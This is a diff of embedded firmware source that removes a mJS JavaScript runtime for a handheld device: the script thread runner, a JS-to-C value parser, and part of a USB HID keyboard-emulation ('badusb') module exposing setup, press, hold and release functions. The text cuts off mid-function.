"__filename",
~0,
mjs_mk_string(
mjs, furi_string_get_cstr(worker->path), furi_string_size(worker->path), true));
mjs_set(
mjs,
global,
"__dirname",
~0,
mjs_mk_string(mjs, furi_string_get_cstr(dirpath), furi_string_size(dirpath), true));
furi_string_free(dirpath);
}
JS_ASSIGN_MULTI(mjs, global) {
JS_FIELD("print", MJS_MK_FN(js_print));
JS_FIELD("delay", MJS_MK_FN(js_delay));
JS_FIELD("parseInt", MJS_MK_FN(js_parse_int));
JS_FIELD("ffi_address", MJS_MK_FN(js_ffi_address));
JS_FIELD("require", MJS_MK_FN(js_require));
JS_FIELD("console", console_obj);
JS_FIELD("sdkCompatibilityStatus", MJS_MK_FN(js_sdk_compatibility_status));
JS_FIELD("isSdkCompatible", MJS_MK_FN(js_is_sdk_compatible));
JS_FIELD("checkSdkCompatibility", MJS_MK_FN(js_check_sdk_compatibility));
JS_FIELD("doesSdkSupport", MJS_MK_FN(js_does_sdk_support));
JS_FIELD("checkSdkFeatures", MJS_MK_FN(js_check_sdk_features));
}
JS_ASSIGN_MULTI(mjs, console_obj) {
JS_FIELD("log", MJS_MK_FN(js_console_log));
JS_FIELD("warn", MJS_MK_FN(js_console_warn));
JS_FIELD("error", MJS_MK_FN(js_console_error));
JS_FIELD("debug", MJS_MK_FN(js_console_debug));
}
mjs_set_ffi_resolver(mjs, js_dlsym, worker->resolver);
mjs_set_exec_flags_poller(mjs, js_exit_flag_poll);
mjs_err_t err = mjs_exec_file(mjs, furi_string_get_cstr(worker->path), NULL);
#ifdef JS_DEBUG
if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) {
FuriString* dump_path = furi_string_alloc_set(worker->path);
furi_string_cat(dump_path, ".lst");
Storage* storage = furi_record_open(RECORD_STORAGE);
File* file = storage_file_alloc(storage);
if(storage_file_open(
file, furi_string_get_cstr(dump_path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
mjs_disasm_all(mjs, js_dump_write_callback, file);
}
storage_file_close(file);
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
furi_string_free(dump_path);
}
#endif
if(err != MJS_OK) {
FURI_LOG_E(TAG, "Exec error: %s", mjs_strerror(mjs, err));
if(worker->app_callback) {
worker->app_callback(JsThreadEventError, mjs_strerror(mjs, err), worker->context);
}
const char* stack_trace = mjs_get_stack_trace(mjs);
if(stack_trace != NULL) {
FURI_LOG_E(TAG, "Stack trace:\r\n%s", stack_trace);
if(worker->app_callback) {
worker->app_callback(JsThreadEventErrorTrace, stack_trace, worker->context);
}
}
} else {
if(worker->app_callback) {
worker->app_callback(JsThreadEventDone, NULL, worker->context);
}
}
mjs_destroy(mjs);
js_modules_destroy(worker->modules);
composite_api_resolver_free(worker->resolver);
return 0;
}
JsThread* js_thread_run(const char* script_path, JsThreadCallback callback, void* context) {
JsThread* worker = malloc(sizeof(JsThread)); //-V799
worker->path = furi_string_alloc_set(script_path);
worker->thread = furi_thread_alloc_ex("JsThread", 8 * 1024, js_thread, worker);
worker->app_callback = callback;
worker->context = context;
furi_thread_start(worker->thread);
return worker;
}
void js_thread_stop(JsThread* worker) {
furi_thread_flags_set(furi_thread_get_id(worker->thread), ThreadEventStop);
furi_thread_join(worker->thread);
furi_thread_free(worker->thread);
furi_string_free(worker->path);
free(worker);
}

View File

@@ -1,24 +0,0 @@
#pragma once
#ifdef __cplusplus
extern "C" {
#endif
typedef struct JsThread JsThread;
typedef enum {
JsThreadEventDone,
JsThreadEventError,
JsThreadEventPrint,
JsThreadEventErrorTrace,
} JsThreadEvent;
typedef void (*JsThreadCallback)(JsThreadEvent event, const char* msg, void* context);
JsThread* js_thread_run(const char* script_path, JsThreadCallback callback, void* context);
void js_thread_stop(JsThread* worker);
#ifdef __cplusplus
}
#endif

View File

@@ -1,33 +0,0 @@
#pragma once
#include <furi.h>
#include <mjs_core_public.h>
#include <mjs_ffi_public.h>
#include <mjs_exec_public.h>
#include <mjs_object_public.h>
#include <mjs_string_public.h>
#include <mjs_array_public.h>
#include <mjs_util_public.h>
#include <mjs_primitive_public.h>
#include <mjs_array_buf_public.h>
#ifdef __cplusplus
extern "C" {
#endif
#define INST_PROP_NAME "_"
typedef enum {
ThreadEventStop = (1 << 0),
ThreadEventCustomDataRx = (1 << 1),
} WorkerEventFlags;
bool js_delay_with_flags(struct mjs* mjs, uint32_t time);
void js_flags_set(struct mjs* mjs, uint32_t flags);
uint32_t js_flags_wait(struct mjs* mjs, uint32_t flags, uint32_t timeout);
#ifdef __cplusplus
}
#endif

View File

@@ -1,291 +0,0 @@
#include "js_value.h"
#include <stdarg.h>
#ifdef APP_UNIT_TESTS
#define JS_VAL_DEBUG
#endif
size_t js_value_buffer_size(const JsValueParseDeclaration declaration) {
if(declaration.source == JsValueParseSourceValue) {
const JsValueDeclaration* value_decl = declaration.value_decl;
JsValueType type = value_decl->type & JsValueTypeMask;
if(type == JsValueTypeString) return 1;
if(type == JsValueTypeObject) {
size_t total = 0;
for(size_t i = 0; i < value_decl->n_children; i++)
total += js_value_buffer_size(
JS_VALUE_PARSE_SOURCE_VALUE(value_decl->object_fields[i].value));
return total;
}
return 0;
} else {
const JsValueArguments* arg_decl = declaration.argument_decl;
size_t total = 0;
for(size_t i = 0; i < arg_decl->n_children; i++)
total += js_value_buffer_size(JS_VALUE_PARSE_SOURCE_VALUE(&arg_decl->arguments[i]));
return total;
}
}
static size_t js_value_resulting_c_values_count(const JsValueParseDeclaration declaration) {
if(declaration.source == JsValueParseSourceValue) {
const JsValueDeclaration* value_decl = declaration.value_decl;
JsValueType type = value_decl->type & JsValueTypeMask;
if(type == JsValueTypeObject) {
size_t total = 0;
for(size_t i = 0; i < value_decl->n_children; i++)
total += js_value_resulting_c_values_count(
JS_VALUE_PARSE_SOURCE_VALUE(value_decl->object_fields[i].value));
return total;
}
return 1;
} else {
const JsValueArguments* arg_decl = declaration.argument_decl;
size_t total = 0;
for(size_t i = 0; i < arg_decl->n_children; i++)
total += js_value_resulting_c_values_count(
JS_VALUE_PARSE_SOURCE_VALUE(&arg_decl->arguments[i]));
return total;
}
}
#define PREPEND_JS_ERROR_AND_RETURN(mjs, flags, ...) \
do { \
if((flags) & JsValueParseFlagReturnOnError) \
mjs_prepend_errorf((mjs), MJS_BAD_ARGS_ERROR, __VA_ARGS__); \
return JsValueParseStatusJsError; \
} while(0)
#define PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, type) \
PREPEND_JS_ERROR_AND_RETURN(mjs, flags, "expected %s", type)
static void js_value_assign_enum_val(void* destination, JsValueType type_w_flags, uint32_t value) {
if(type_w_flags & JsValueTypeEnumSize1) {
*(uint8_t*)destination = value;
} else if(type_w_flags & JsValueTypeEnumSize2) {
*(uint16_t*)destination = value;
} else if(type_w_flags & JsValueTypeEnumSize4) {
*(uint32_t*)destination = value;
}
}
static bool js_value_is_null_or_undefined(mjs_val_t* val_ptr) {
return mjs_is_null(*val_ptr) || mjs_is_undefined(*val_ptr);
}
static bool js_value_maybe_assign_default(
const JsValueDeclaration* declaration,
mjs_val_t* val_ptr,
void* destination,
size_t size) {
if((declaration->type & JsValueTypePermitNull) && js_value_is_null_or_undefined(val_ptr)) {
memcpy(destination, &declaration->default_value, size);
return true;
}
return false;
}
typedef int (*MjsTypecheckFn)(mjs_val_t value);
static JsValueParseStatus js_value_parse_literal(
struct mjs* mjs,
JsValueParseFlag flags,
mjs_val_t* destination,
mjs_val_t* source,
MjsTypecheckFn typecheck,
const char* type_name) {
if(!typecheck(*source)) PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, type_name);
*destination = *source;
return JsValueParseStatusOk;
}
static JsValueParseStatus js_value_parse_va(
struct mjs* mjs,
const JsValueParseDeclaration declaration,
JsValueParseFlag flags,
mjs_val_t* source,
mjs_val_t* buffer,
size_t* buffer_index,
va_list* out_pointers) {
if(declaration.source == JsValueParseSourceArguments) {
const JsValueArguments* arg_decl = declaration.argument_decl;
for(size_t i = 0; i < arg_decl->n_children; i++) {
mjs_val_t arg_val = mjs_arg(mjs, i);
JsValueParseStatus status = js_value_parse_va(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&arg_decl->arguments[i]),
flags,
&arg_val,
buffer,
buffer_index,
out_pointers);
if(status != JsValueParseStatusOk) return status;
}
return JsValueParseStatusOk;
}
const JsValueDeclaration* value_decl = declaration.value_decl;
JsValueType type_w_flags = value_decl->type;
JsValueType type_noflags = type_w_flags & JsValueTypeMask;
bool is_null_but_allowed = (type_w_flags & JsValueTypePermitNull) &&
js_value_is_null_or_undefined(source);
void* destination = NULL;
if(type_noflags != JsValueTypeObject) destination = va_arg(*out_pointers, void*);
switch(type_noflags) {
// Literal terms
case JsValueTypeAny:
*(mjs_val_t*)destination = *source;
break;
case JsValueTypeAnyArray:
return js_value_parse_literal(mjs, flags, destination, source, mjs_is_array, "array");
case JsValueTypeAnyObject:
return js_value_parse_literal(mjs, flags, destination, source, mjs_is_object, "array");
case JsValueTypeFunction:
return js_value_parse_literal(
mjs, flags, destination, source, mjs_is_function, "function");
// Primitive types
case JsValueTypeRawPointer: {
if(js_value_maybe_assign_default(value_decl, source, destination, sizeof(void*))) break;
if(!mjs_is_foreign(*source)) PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "pointer");
*(void**)destination = mjs_get_ptr(mjs, *source);
break;
}
case JsValueTypeInt32: {
if(js_value_maybe_assign_default(value_decl, source, destination, sizeof(int32_t))) break;
if(!mjs_is_number(*source)) PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "number");
*(int32_t*)destination = mjs_get_int32(mjs, *source);
break;
}
case JsValueTypeDouble: {
if(js_value_maybe_assign_default(value_decl, source, destination, sizeof(double))) break;
if(!mjs_is_number(*source)) PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "number");
*(double*)destination = mjs_get_double(mjs, *source);
break;
}
case JsValueTypeBool: {
if(js_value_maybe_assign_default(value_decl, source, destination, sizeof(bool))) break;
if(!mjs_is_boolean(*source)) PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "bool");
*(bool*)destination = mjs_get_bool(mjs, *source);
break;
}
case JsValueTypeString: {
if(js_value_maybe_assign_default(value_decl, source, destination, sizeof(const char*)))
break;
if(!mjs_is_string(*source)) PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "string");
buffer[*buffer_index] = *source;
*(const char**)destination = mjs_get_string(mjs, &buffer[*buffer_index], NULL);
(*buffer_index)++;
break;
}
// Types with children
case JsValueTypeEnum: {
if(is_null_but_allowed) {
js_value_assign_enum_val(
destination, type_w_flags, value_decl->default_value.enum_val);
} else if(mjs_is_string(*source)) {
const char* str = mjs_get_string(mjs, source, NULL);
furi_check(str);
bool match_found = false;
for(size_t i = 0; i < value_decl->n_children; i++) {
const JsValueEnumVariant* variant = &value_decl->enum_variants[i];
if(strcmp(str, variant->string_value) == 0) {
js_value_assign_enum_val(destination, type_w_flags, variant->num_value);
match_found = true;
break;
}
}
if(!match_found)
PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "one of permitted strings");
} else {
PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "string");
}
break;
}
case JsValueTypeObject: {
if(!(is_null_but_allowed || mjs_is_object(*source)))
PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "object");
for(size_t i = 0; i < value_decl->n_children; i++) {
const JsValueObjectField* field = &value_decl->object_fields[i];
mjs_val_t field_val = mjs_get(mjs, *source, field->field_name, ~0);
JsValueParseStatus status = js_value_parse_va(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(field->value),
flags,
&field_val,
buffer,
buffer_index,
out_pointers);
if(status != JsValueParseStatusOk)
PREPEND_JS_ERROR_AND_RETURN(mjs, flags, "field %s: ", field->field_name);
}
break;
}
case JsValueTypeMask:
case JsValueTypeEnumSize1:
case JsValueTypeEnumSize2:
case JsValueTypeEnumSize4:
case JsValueTypePermitNull:
furi_crash();
}
return JsValueParseStatusOk;
}
JsValueParseStatus js_value_parse(
struct mjs* mjs,
const JsValueParseDeclaration declaration,
JsValueParseFlag flags,
mjs_val_t* buffer,
size_t buf_size,
mjs_val_t* source,
size_t n_c_vals,
...) {
furi_check(mjs);
furi_check(buffer);
if(declaration.source == JsValueParseSourceValue) {
furi_check(source);
furi_check(declaration.value_decl);
} else {
furi_check(source == NULL);
furi_check(declaration.argument_decl);
}
#ifdef JS_VAL_DEBUG
furi_check(buf_size == js_value_buffer_size(declaration));
furi_check(n_c_vals == js_value_resulting_c_values_count(declaration));
#else
UNUSED(js_value_resulting_c_values_count);
#endif
va_list out_pointers;
va_start(out_pointers, n_c_vals);
size_t buffer_index = 0;
JsValueParseStatus status =
js_value_parse_va(mjs, declaration, flags, source, buffer, &buffer_index, &out_pointers);
furi_check(buffer_index <= buf_size);
va_end(out_pointers);
return status;
}

View File

@@ -1,212 +0,0 @@
#pragma once
#include <furi.h>
#include "js_modules.h"
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
// literal types
JsValueTypeAny, //<! Literal term
JsValueTypeAnyArray, //<! Literal term, after ensuring that it's an array
JsValueTypeAnyObject, //<! Literal term, after ensuring that it's an object
JsValueTypeFunction, //<! Literal term, after ensuring that it's a function
// primitive types
JsValueTypeRawPointer, //<! Unchecked `void*`
JsValueTypeInt32, //<! Number cast to `int32_t`
JsValueTypeDouble, //<! Number cast to `double`
JsValueTypeString, //<! Any string cast to `const char*`
JsValueTypeBool, //<! Bool cast to `bool`
// types with children
JsValueTypeEnum, //<! String with predefined possible values cast to a C enum via a mapping
JsValueTypeObject, //<! Object with predefined recursive fields cast to several C values
JsValueTypeMask = 0xff,
// enum sizes
JsValueTypeEnumSize1 = (1 << 8),
JsValueTypeEnumSize2 = (2 << 8),
JsValueTypeEnumSize4 = (4 << 8),
// flags
JsValueTypePermitNull = (1 << 16), //<! If the value is absent, assign default value
} JsValueType;
#define JS_VALUE_TYPE_ENUM_SIZE(x) ((x) << 8)
typedef struct {
const char* string_value;
size_t num_value;
} JsValueEnumVariant;
typedef union {
void* ptr_val;
int32_t int32_val;
double double_val;
const char* str_val;
size_t enum_val;
bool bool_val;
} JsValueDefaultValue;
typedef struct JsValueObjectField JsValueObjectField;
typedef struct {
JsValueType type;
JsValueDefaultValue default_value;
size_t n_children;
union {
const JsValueEnumVariant* enum_variants;
const JsValueObjectField* object_fields;
};
} JsValueDeclaration;
struct JsValueObjectField {
const char* field_name;
const JsValueDeclaration* value;
};
typedef struct {
size_t n_children;
const JsValueDeclaration* arguments;
} JsValueArguments;
#define JS_VALUE_ENUM(c_type, variants) \
{ \
.type = JsValueTypeEnum | JS_VALUE_TYPE_ENUM_SIZE(sizeof(c_type)), \
.n_children = COUNT_OF(variants), \
.enum_variants = variants, \
}
#define JS_VALUE_ENUM_W_DEFAULT(c_type, variants, default) \
{ \
.type = JsValueTypeEnum | JsValueTypePermitNull | \
JS_VALUE_TYPE_ENUM_SIZE(sizeof(c_type)), \
.default_value.enum_val = default, \
.n_children = COUNT_OF(variants), \
.enum_variants = variants, \
}
#define JS_VALUE_OBJECT(fields) \
{ \
.type = JsValueTypeObject, \
.n_children = COUNT_OF(fields), \
.object_fields = fields, \
}
#define JS_VALUE_OBJECT_W_DEFAULTS(fields) \
{ \
.type = JsValueTypeObject | JsValueTypePermitNull, \
.n_children = COUNT_OF(fields), \
.object_fields = fields, \
}
#define JS_VALUE_SIMPLE(t) {.type = t}
#define JS_VALUE_SIMPLE_W_DEFAULT(t, name, val) \
{.type = (t) | JsValueTypePermitNull, .default_value.name = (val)}
#define JS_VALUE_ARGS(args) \
{ \
.n_children = COUNT_OF(args), \
.arguments = args, \
}
typedef enum {
JsValueParseFlagNone = 0,
JsValueParseFlagReturnOnError =
(1
<< 0), //<! Sets mjs error string to a description of the parsing error and returns from the JS function
} JsValueParseFlag;
typedef enum {
JsValueParseStatusOk, //<! Parsing completed successfully
JsValueParseStatusJsError, //<! Parsing failed due to incorrect JS input
} JsValueParseStatus;
typedef enum {
JsValueParseSourceValue,
JsValueParseSourceArguments,
} JsValueParseSource;
typedef struct {
JsValueParseSource source;
union {
const JsValueDeclaration* value_decl;
const JsValueArguments* argument_decl;
};
} JsValueParseDeclaration;
#define JS_VALUE_PARSE_SOURCE_VALUE(declaration) \
((JsValueParseDeclaration){.source = JsValueParseSourceValue, .value_decl = declaration})
#define JS_VALUE_PARSE_SOURCE_ARGS(declaration) \
((JsValueParseDeclaration){ \
.source = JsValueParseSourceArguments, .argument_decl = declaration})
/**
* @brief Determines the size of the buffer array of `mjs_val_t`s that needs to
* be passed to `js_value_parse`.
*/
size_t js_value_buffer_size(const JsValueParseDeclaration declaration);
/**
* @brief Converts a JS value into a series of C values.
*
* @param[in] mjs mJS instance pointer
* @param[in] declaration Declaration for the input value. Chooses where the
* values are to be fetched from (an `mjs_val_t` or
* function arguments)
* @param[in] flags See the corresponding enum.
* @param[out] buffer Temporary buffer for values that need to live
* longer than the function call. To determine the
* size of the buffer, use `js_value_buffer_size`.
* Values parsed by this function will become invalid
* when this buffer goes out of scope.
* @param[in] buf_size Number of entries in the temporary buffer (i.e.
* `COUNT_OF`, not `sizeof`).
* @param[in] source Source JS value that needs to be converted. May be
* NULL if `declaration.source` is
* `JsValueParseSourceArguments`.
* @param[in] n_c_vals Number of output C values
* @param[out] ... Pointers to output C values. The order in which
* these values are populated corresponds to the order
* in which the values are defined in the declaration.
*
* @returns Parsing status
*/
JsValueParseStatus js_value_parse(
struct mjs* mjs,
const JsValueParseDeclaration declaration,
JsValueParseFlag flags,
mjs_val_t* buffer,
size_t buf_size,
mjs_val_t* source,
size_t n_c_vals,
...);
#define JS_VALUE_PARSE(mjs, declaration, flags, status_ptr, value_ptr, ...) \
void* _args[] = {__VA_ARGS__}; \
size_t _n_args = COUNT_OF(_args); \
size_t _temp_buf_len = js_value_buffer_size(declaration); \
mjs_val_t _temp_buffer[_temp_buf_len]; \
*(status_ptr) = js_value_parse( \
mjs, declaration, flags, _temp_buffer, _temp_buf_len, value_ptr, _n_args, __VA_ARGS__);
#define JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, declaration, ...) \
JsValueParseStatus _status; \
JS_VALUE_PARSE( \
mjs, \
JS_VALUE_PARSE_SOURCE_ARGS(declaration), \
JsValueParseFlagReturnOnError, \
&_status, \
NULL, \
__VA_ARGS__); \
if(_status != JsValueParseStatusOk) return;
#ifdef __cplusplus
}
#endif

View File

@@ -1,529 +0,0 @@
#include <core/common_defines.h>
#include "../js_modules.h"
#include <furi_hal.h>
#define ASCII_TO_KEY(layout, x) (((uint8_t)x < 128) ? (layout[(uint8_t)x]) : HID_KEYBOARD_NONE)
typedef struct {
FuriHalUsbHidConfig* hid_cfg;
uint16_t layout[128];
FuriHalUsbInterface* usb_if_prev;
uint8_t key_hold_cnt;
} JsBadusbInst;
static const struct {
char* name;
uint16_t code;
} key_codes[] = {
{"CTRL", KEY_MOD_LEFT_CTRL},
{"SHIFT", KEY_MOD_LEFT_SHIFT},
{"ALT", KEY_MOD_LEFT_ALT},
{"GUI", KEY_MOD_LEFT_GUI},
{"DOWN", HID_KEYBOARD_DOWN_ARROW},
{"LEFT", HID_KEYBOARD_LEFT_ARROW},
{"RIGHT", HID_KEYBOARD_RIGHT_ARROW},
{"UP", HID_KEYBOARD_UP_ARROW},
{"ENTER", HID_KEYBOARD_RETURN},
{"PAUSE", HID_KEYBOARD_PAUSE},
{"CAPSLOCK", HID_KEYBOARD_CAPS_LOCK},
{"DELETE", HID_KEYBOARD_DELETE_FORWARD},
{"BACKSPACE", HID_KEYBOARD_DELETE},
{"END", HID_KEYBOARD_END},
{"ESC", HID_KEYBOARD_ESCAPE},
{"HOME", HID_KEYBOARD_HOME},
{"INSERT", HID_KEYBOARD_INSERT},
{"NUMLOCK", HID_KEYPAD_NUMLOCK},
{"PAGEUP", HID_KEYBOARD_PAGE_UP},
{"PAGEDOWN", HID_KEYBOARD_PAGE_DOWN},
{"PRINTSCREEN", HID_KEYBOARD_PRINT_SCREEN},
{"SCROLLLOCK", HID_KEYBOARD_SCROLL_LOCK},
{"SPACE", HID_KEYBOARD_SPACEBAR},
{"TAB", HID_KEYBOARD_TAB},
{"MENU", HID_KEYBOARD_APPLICATION},
{"F1", HID_KEYBOARD_F1},
{"F2", HID_KEYBOARD_F2},
{"F3", HID_KEYBOARD_F3},
{"F4", HID_KEYBOARD_F4},
{"F5", HID_KEYBOARD_F5},
{"F6", HID_KEYBOARD_F6},
{"F7", HID_KEYBOARD_F7},
{"F8", HID_KEYBOARD_F8},
{"F9", HID_KEYBOARD_F9},
{"F10", HID_KEYBOARD_F10},
{"F11", HID_KEYBOARD_F11},
{"F12", HID_KEYBOARD_F12},
{"F13", HID_KEYBOARD_F13},
{"F14", HID_KEYBOARD_F14},
{"F15", HID_KEYBOARD_F15},
{"F16", HID_KEYBOARD_F16},
{"F17", HID_KEYBOARD_F17},
{"F18", HID_KEYBOARD_F18},
{"F19", HID_KEYBOARD_F19},
{"F20", HID_KEYBOARD_F20},
{"F21", HID_KEYBOARD_F21},
{"F22", HID_KEYBOARD_F22},
{"F23", HID_KEYBOARD_F23},
{"F24", HID_KEYBOARD_F24},
{"NUM0", HID_KEYPAD_0},
{"NUM1", HID_KEYPAD_1},
{"NUM2", HID_KEYPAD_2},
{"NUM3", HID_KEYPAD_3},
{"NUM4", HID_KEYPAD_4},
{"NUM5", HID_KEYPAD_5},
{"NUM6", HID_KEYPAD_6},
{"NUM7", HID_KEYPAD_7},
{"NUM8", HID_KEYPAD_8},
{"NUM9", HID_KEYPAD_9},
};
static void js_badusb_quit_free(JsBadusbInst* badusb) {
if(badusb->usb_if_prev) {
furi_hal_hid_kb_release_all();
furi_check(furi_hal_usb_set_config(badusb->usb_if_prev, NULL));
badusb->usb_if_prev = NULL;
}
if(badusb->hid_cfg) {
free(badusb->hid_cfg);
badusb->hid_cfg = NULL;
}
}
static bool setup_parse_params(
JsBadusbInst* badusb,
struct mjs* mjs,
mjs_val_t arg,
FuriHalUsbHidConfig* hid_cfg) {
if(!mjs_is_object(arg)) {
return false;
}
mjs_val_t vid_obj = mjs_get(mjs, arg, "vid", ~0);
mjs_val_t pid_obj = mjs_get(mjs, arg, "pid", ~0);
mjs_val_t mfr_obj = mjs_get(mjs, arg, "mfrName", ~0);
mjs_val_t prod_obj = mjs_get(mjs, arg, "prodName", ~0);
mjs_val_t layout_obj = mjs_get(mjs, arg, "layoutPath", ~0);
if(mjs_is_number(vid_obj) && mjs_is_number(pid_obj)) {
hid_cfg->vid = mjs_get_int32(mjs, vid_obj);
hid_cfg->pid = mjs_get_int32(mjs, pid_obj);
} else {
return false;
}
if(mjs_is_string(mfr_obj)) {
size_t str_len = 0;
const char* str_temp = mjs_get_string(mjs, &mfr_obj, &str_len);
if((str_len == 0) || (str_temp == NULL)) {
return false;
}
strlcpy(hid_cfg->manuf, str_temp, sizeof(hid_cfg->manuf));
}
if(mjs_is_string(prod_obj)) {
size_t str_len = 0;
const char* str_temp = mjs_get_string(mjs, &prod_obj, &str_len);
if((str_len == 0) || (str_temp == NULL)) {
return false;
}
strlcpy(hid_cfg->product, str_temp, sizeof(hid_cfg->product));
}
if(mjs_is_string(layout_obj)) {
size_t str_len = 0;
const char* str_temp = mjs_get_string(mjs, &layout_obj, &str_len);
if((str_len == 0) || (str_temp == NULL)) {
return false;
}
File* file = storage_file_alloc(furi_record_open(RECORD_STORAGE));
bool layout_loaded = storage_file_open(file, str_temp, FSAM_READ, FSOM_OPEN_EXISTING) &&
storage_file_read(file, badusb->layout, sizeof(badusb->layout)) ==
sizeof(badusb->layout);
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
if(!layout_loaded) {
return false;
}
} else {
memcpy(badusb->layout, hid_asciimap, MIN(sizeof(hid_asciimap), sizeof(badusb->layout)));
}
return true;
}
static void js_badusb_setup(struct mjs* mjs) {
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
JsBadusbInst* badusb = mjs_get_ptr(mjs, obj_inst);
furi_assert(badusb);
if(badusb->usb_if_prev) {
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "HID is already started");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
bool args_correct = false;
size_t num_args = mjs_nargs(mjs);
if(num_args == 0) {
// No arguments: start USB HID with default settings
args_correct = true;
} else if(num_args == 1) {
badusb->hid_cfg = malloc(sizeof(FuriHalUsbHidConfig));
// Parse argument object
args_correct = setup_parse_params(badusb, mjs, mjs_arg(mjs, 0), badusb->hid_cfg);
}
if(!args_correct) {
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
badusb->usb_if_prev = furi_hal_usb_get_config();
furi_hal_usb_unlock();
furi_hal_usb_set_config(&usb_hid, badusb->hid_cfg);
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_badusb_quit(struct mjs* mjs) {
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
JsBadusbInst* badusb = mjs_get_ptr(mjs, obj_inst);
furi_assert(badusb);
if(badusb->usb_if_prev == NULL) {
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "HID is not started");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
js_badusb_quit_free(badusb);
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_badusb_is_connected(struct mjs* mjs) {
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
JsBadusbInst* badusb = mjs_get_ptr(mjs, obj_inst);
furi_assert(badusb);
if(badusb->usb_if_prev == NULL) {
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "HID is not started");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
bool is_connected = furi_hal_hid_is_connected();
mjs_return(mjs, mjs_mk_boolean(mjs, is_connected));
}
uint16_t get_keycode_by_name(JsBadusbInst* badusb, const char* key_name, size_t name_len) {
if(name_len == 1) { // Single char
return (ASCII_TO_KEY(badusb->layout, key_name[0]));
}
for(size_t i = 0; i < COUNT_OF(key_codes); i++) {
size_t key_cmd_len = strlen(key_codes[i].name);
if(key_cmd_len != name_len) {
continue;
}
if(strncmp(key_name, key_codes[i].name, name_len) == 0) {
return key_codes[i].code;
}
}
return HID_KEYBOARD_NONE;
}
static bool parse_keycode(JsBadusbInst* badusb, struct mjs* mjs, size_t nargs, uint16_t* keycode) {
uint16_t key_tmp = 0;
for(size_t i = 0; i < nargs; i++) {
mjs_val_t arg = mjs_arg(mjs, i);
if(mjs_is_string(arg)) {
size_t name_len = 0;
const char* key_name = mjs_get_string(mjs, &arg, &name_len);
if((key_name == NULL) || (name_len == 0)) {
// String error
return false;
}
uint16_t str_key = get_keycode_by_name(badusb, key_name, name_len);
if(str_key == HID_KEYBOARD_NONE) {
// Unknown key code
return false;
}
if((str_key & 0xFF) && (key_tmp & 0xFF)) {
// Main key is already defined
return false;
}
key_tmp |= str_key;
} else if(mjs_is_number(arg)) {
uint32_t keycode_number = (uint32_t)mjs_get_int32(mjs, arg);
if(((key_tmp & 0xFF) != 0) || (keycode_number > 0xFF)) {
return false;
}
key_tmp |= keycode_number & 0xFF;
} else {
return false;
}
}
*keycode = key_tmp;
return true;
}
static void js_badusb_press(struct mjs* mjs) {
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
JsBadusbInst* badusb = mjs_get_ptr(mjs, obj_inst);
furi_assert(badusb);
if(badusb->usb_if_prev == NULL) {
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "HID is not started");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
bool args_correct = false;
uint16_t keycode = HID_KEYBOARD_NONE;
size_t num_args = mjs_nargs(mjs);
if(num_args > 0) {
args_correct = parse_keycode(badusb, mjs, num_args, &keycode);
}
if(!args_correct) {
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
furi_hal_hid_kb_press(keycode);
furi_hal_hid_kb_release(keycode);
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_badusb_hold(struct mjs* mjs) {
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
JsBadusbInst* badusb = mjs_get_ptr(mjs, obj_inst);
furi_assert(badusb);
if(badusb->usb_if_prev == NULL) {
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "HID is not started");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
bool args_correct = false;
uint16_t keycode = HID_KEYBOARD_NONE;
size_t num_args = mjs_nargs(mjs);
if(num_args > 0) {
args_correct = parse_keycode(badusb, mjs, num_args, &keycode);
}
if(!args_correct) {
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
if(keycode & 0xFF) {
badusb->key_hold_cnt++;
if(badusb->key_hold_cnt > (HID_KB_MAX_KEYS - 1)) {
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "Too many keys are hold");
furi_hal_hid_kb_release_all();
mjs_return(mjs, MJS_UNDEFINED);
return;
}
}
furi_hal_hid_kb_press(keycode);
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_badusb_release(struct mjs* mjs) {
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
JsBadusbInst* badusb = mjs_get_ptr(mjs, obj_inst);
furi_assert(badusb);
